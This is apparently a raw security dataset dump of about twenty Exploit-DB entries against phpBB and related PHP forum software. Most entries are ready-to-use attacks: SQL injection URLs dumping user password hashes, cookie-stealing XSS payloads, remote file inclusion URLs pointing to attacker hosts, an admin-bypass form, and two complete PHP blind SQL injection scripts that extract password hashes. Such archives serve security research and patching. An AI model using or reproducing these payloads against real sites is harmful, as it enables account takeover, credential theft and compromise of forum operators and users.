deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28281
Description: phpBB-Auction 1.x - 'auction_room.php?ar' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-26
Author: l2odon

Exploit:
source: https://www.securityfocus.com/bid/19179/info

PHPBB-Auction is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.

A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/phpbb/auction_room.php?ar=[num][sql]
http://www.example.com/phpbb/auction_room.php?order=price_asc&ar=[num][sql]
Exploit-DB #28282
Description: phpBB-Auction 1.x - 'auction_store.php?u' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-26
Author: l2odon

Exploit:
source: https://www.securityfocus.com/bid/19179/info
 
PHPBB-Auction is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.
 
A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/phpbb/auction_store.php?mode=store&u=[num][sql]
Exploit-DB #25475
Description: phpBB-Auction Module 1.0/1.2 - 'Auction_Offer.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-20
Author: sNKenjoi

Exploit:
source: https://www.securityfocus.com/bid/13284/info

phpbb-auction module is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/auction_offer.php?mode=add&ar='
Exploit-DB #25474
Description: phpBB-Auction Module 1.0/1.2 - 'Auction_Rating.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-20
Author: sNKenjoi

Exploit:
source: https://www.securityfocus.com/bid/13283/info

phpbb-auction module is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/auction_rating.php?mode=view&u='
Exploit-DB #29679
Description: PHPBB2 - 'Admin_Ug_Auth.php' Administrative Bypass
Type: webapps
Platform: php
Date: 2007-02-26
Author: Hasadya Raed

Exploit:
source: https://www.securityfocus.com/bid/22730/info

PHPBB2 is prone to a vulnerability that will let attackers gain administrative access to the application because it fails to properly validate access.

Successful exploits may result in a complete compromise of vulnerable applications. 

<html>
<head>
</head>
<body>

<form method="post"
action="www.example.com/board_directory/admin/admin_ug_auth.php">
User Level: <select name="userlevel">
<option value="admin">Administrator</option>
<option value="user">User</option></select>
<input type="hidden" name="private[1]" value="0">
<input type="hidden" name="moderator[1]" value="0">
<input type="hidden" name="mode" value="user">
<input type="hidden" name="adv" value="">
User Number: <input type="text" name="u" size="5">
<input type="submit" name="submit" value="Submit">

</form>
</body>
</html>
Exploit-DB #22267
Description: PHPBB2 - 'Page_Header.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-02-19
Author: David Zentner

Exploit:
source: https://www.securityfocus.com/bid/6888/info

A SQL injection vulnerability has been reported in phpBB2.

phpBB2, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. This may result in unauthorized operations being performed on the underlying database. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker. 

<?php

########## PHPBB 2.0,2.01,2.02 Auto-SelectFish Attacker
########## David@cgishield.com


// To use this program, simply upload it to a php enabled webserver, and execute
// If php times out before the whole password hash is determined, 
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:

$server="192.168.1.100";
$script="/phpbb2/index.php";
$the_userid_to_hack="2";


// don't change this
$data_to_match="In total there are <b>0</b> users online";

$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";

for($i=1;$i<33;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="forum_id=1+or+user_id=$the_userid_to_hack+and+mid(user_password,$i,1)=$checkchar[$i2]/*";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("$data_to_match","$data")){
//echo("<b>$i2</b>");
}
else{echo("<br>$i= $i2"); flush();break;}
}
}


function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}

return $buf;
}

?>
Exploit-DB #21486
Description: PHPBB2 - Image Tag HTML Injection
Type: webapps
Platform: php
Date: 2002-05-26
Author: Martijn Boerwinkel

Exploit:
source: https://www.securityfocus.com/bid/4858/info


It is possible to inject arbitrary HTML into phpBB2 forum messages via the use of BBCode image tags. A similar issue is described in Bugtraq ID 4379 "PHPBB Image Tag User-Embedded Scripting Vulnerability". However, phpBB2 was found to not be vulnerable to this previous issue.

A double-quotation (") character may be used to close the HTML statement that is created when the BBCode is translated. The attacker may then include arbitrary HTML after the double-quotation.

The attacker may exploit this issue to inject script code into forum messages. When such messages are displayed by a web user, the attacker's script code will execute in their browser in the context of the website.

phpBB versions prior to the phpBB2 series may also be affected by this vulnerability. 

[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img]
Exploit-DB #21660
Description: phpBB2 Gender Mod 1.1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2002-07-29
Author: langtuhaohoa caothuvolam

Exploit:
source: https://www.securityfocus.com/bid/5342/info

phpBB2 is an open-source web forum application that is written in PHP and backended by a number of database products. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Gender Mod is a modification for phpBB2 which allows the association of a gender with a given user profile. A SQL injection vulnerability has been reported in this mod. A remote user may subvert the SQL statement used to update their user profile, possibly gaining administrative access to the system. 

"0, user_level = 1 "
Exploit-DB #3231
Description: PHPBB2 MODificat 0.2.0 - 'functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-30
Author: Mehmet Ince

Exploit:
-----------------------------------------------

phpBB2 MODificat (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz

-----------------------------------------------

Code:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );
-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=110366

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-30]
Exploit-DB #25398
Description: PHPBB2 Plus 1.5 - 'GroupCP.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-13
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13149/info

phpBB2 Plus is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/groupcp.php?g=881&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25399
Description: PHPBB2 Plus 1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-04-13
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13150/info

phpBB2 Plus is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect phpBB2 Plus version 1.52 and earlier. 

http://www.example.com/index.php?c=1&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/index.php?c='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217
http://www.example.com/index.php?mark='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217
Exploit-DB #25400
Description: PHPBB2 Plus 1.5 - 'Portal.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-04-13
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13151/info

phpBB2 Plus is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect phpBB2 Plus version 1.52 and earlier. 

http://www.example.com/portal.php?article=0&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/portal.php?article='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=2fb087b5e3c7098d0e48a76a9c67cf59
Exploit-DB #25401
Description: PHPBB2 Plus 1.5 - 'viewtopic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-13
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13153/info

phpBB2 Plus is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/viewtopic.php?p=58834&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #33772
Description: PHPBB2 Plus 1.53 - 'kb.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-17
Author: Gamoscu

Exploit:
source: https://www.securityfocus.com/bid/38828/info

phpBB2 Plus is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpBB2 Plus 1.53 is affected; other versions may also be vulnerable.

http://www.example.com/kb.php?mode=cat&cat=-1+union+select+1,concat(user_id,char(58),username,char(58),user_email,char(58),user_icq,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit+1,2--
Exploit-DB #3033
Description: phpBB2 Plus 1.53 - Acronym Mod SQL Injection
Type: webapps
Platform: php
Date: 2006-12-28
Author: the master

Exploit:
########################################################################
#  Acronym Mod  v0.9.5  Remote SQL Injection Vulnerability
#
#  Download: http://www.codemonkeyx.net
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/admin/admin_acronyms.php?mode=edit&id=-1%20UNION%20SELECT%20null,user_password,null%20FROM%20phpbb_users%20where%20user_id=2&sid=AdminHash
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-28]
Exploit-DB #9569
Description: phpBB3 - addon prime_quick_style GetAdmin
Type: webapps
Platform: php
Date: 2009-09-01
Author: -SmoG-

Exploit:
##########################################################################
#
#	phpBB3 addon prime_quick_style GetAdmin Exploit
#
#	Vulnerability found and exploited by -SmoG-
#
#	target file: prime_quick_style.php
#
#
#   vuln: POST parameter "prime_quick_style" is injectable.
#   source: http://www.phpbb.com/community/viewtopic.php?f=70&t=692625
#
#	HowTo: after login, go to "./ucp.php" and manipulate the content from the "prime_quick_style"-parameter.
#	example: prime_quick_style = "5,user_type = 3, user_permissions = ''"
#  
#	query will be look like this: "UPDATE USER_TABLE SET user_style = ANY_STYLE(integer), user_type = 3, user_permissions = '' WHERE user_id = YourId"
#
#	gratz, now u will be an admin  :) 
#
#	--- greetz to Pronoobz.org --- AbiDez, ChinaSun and ~dp~ || Thanks you a lot! ---
#
#
#														-( by -SmoG- )-
##########################################################################

# milw0rm.com [2009-09-01]
Exploit-DB #21931
Description: PHPBBMod 1.3.3 - PHPInfo Information Disclosure
Type: webapps
Platform: php
Date: 2002-10-10
Author: Roland Verlander

Exploit:
source: https://www.securityfocus.com/bid/5942/info

phpBBmod ships with a sample script (phpinfo.php) that may disclosure sensitive information to remote attackers. When this script is accessed, sensitive information about the underlying environment will be revealed.

This issue was reported in phpBBmod version 1.3.3. Other versions may also be affected. 

http://www.example.com/phpBB/phpinfo.php
Exploit-DB #4631
Description: phpBBViet 02.03.2007 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-17
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

phpBBViet 0.22 (phpbb_root_path) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: xoron

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Exploit:

/includes/functions_mod_user.php?phpbb_root_path=http://netdevilz ?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://sourceforge.net/project/showfiles.php?group_id=193675

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Thanx: ZeberuS - Madtoxic - Deep Emperor  and All Netdevilz member

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

# milw0rm.com [2007-11-17]
Exploit-DB #3006
Description: PhpbbXtra 2.0 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-25
Author: Mehmet Ince

Exploit:
-----------------------------------------------

PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability

-----------------------------------------------

Author: xoron

-----------------------------------------------
 
Vuln Code: include($phpbb_root_path . 'includes/bbcode.'.$phpEx);

-----------------------------------------------

F!X:

-open /includes/archive/archive_topic.php this file

-write this code before vuln. code


if ( !defined('IN_PHPBB') )
{
    die('Hacking attempt');
}


- save and exit

-----------------------------------------------

exploit:

http://www.[target].com/[script_path]/includes/archive/archive_topic.php?phpbb_root_path=http://evil_scripts ?

-----------------------------------------------

download:http://sourceforge.net/project/showfiles.php?group_id=152219

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlar.n kurban bayram. simdiden mubarek olsun -
-                                                         -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-25]
Exploit-DB #4340
Description: phpBG 0.9.1 - 'rootdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-29
Author: GoLd_M

Exploit:
# phpBG 0.9.1 (rootdir) Remote File Inclusion Vulnerability
# D.Script: http://phpbg.sourceforge.net/
# POC:
#   /intern/admin/other/backup.php?admin=1&rootdir=Shell
#   /intern/admin/?rootdir=Shell
#   /intern/clan/member_add.php?rootdir=Shell
#   /intern/config/key_2.php?rootdir=Shell
#   /intern/config/forum.php?rootdir=Shell
# Discovered by: GoLd_M = [Mahmood_ali]
# Thanx To : Tryag-Team & Asbmay's Group & All My Friends

# milw0rm.com [2007-08-29]
Exploit-DB #7944
Description: phpBLASTER 1.0 RC1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-02-02
Author: darkjoker

Exploit:
--+++============================================================+++--
--+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++--
--+++============================================================+++--

<?php

function query ($username, $pos, $chr)
{
	$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM".
		 " blaster_users WHERE username ='{$username}'),{$pos},1))={$chr}),BENCHMARK".
		 "(200000000,CHAR(0)),0) OR 'x' = 'y";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $username, $pos, $chr)
{
	$chr = ord ($chr);
	$conn = fsockopen ($hostname, 80);

	$request = "GET {$path}/html/mainfile.php HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Cookie: blaster_user=" . query ($username, $pos, $chr) . "\r\n".
		   "Connection: Close\r\n\r\n";
	
	$time_a = time ();

	fputs ($conn, $request);
	while (!feof ($conn))
		fgets ($conn, 1024);

	$time_b = time ();

	fclose ($conn);

	if ($time_b - $time_a > 4)
		return true;
	else
		return false;
}

function run ($hostname, $path, $username)
{
	$key = "abcdef[PII_REDACTED]";
	$chr = 0;
	$pos = 1;
	echo "[+] Password: ";
	while ($pos <= 32)
	{
		if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
		{
			echo $key [$chr];
			$chr = 0;
			$pos++;
		}
		else
			$chr++;
	}
	echo "\n\n";
}

function usage ()
{
	exit (
		"\nphpBLASTER 1.0 RC1 Blind SQL Injection Exploit".
		"\n[+] Author   : darkjoker".
		"\n[+] Site     : http://darkjoker.net23.net".
		"\n[+] CMS Site : http://phpblaster.org".
		"\n[+] Usage    : php xpl.php <hostname> <path> <username>".
		"\n[+] Ex.      : php xpl.php localhost /phpBLASTER root".
		"\n\n");
}



if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];

run ($hostname, $path, $username);

?>

# milw0rm.com [2009-02-02]
Exploit-DB #5952
Description: phpBLASTER CMS 1.0 RC1 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-06-26
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Local File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : phpBLASTER CMS 1.0 RC1 ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


http://localhost/path/html/admin/minibb/index.php?DB=[LFI]

http://localhost/path/html/admin/minibb/index.php?lang=[LFI]

http://localhost/path/html/admin/minibb/index.php?skin=[LFI]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-26]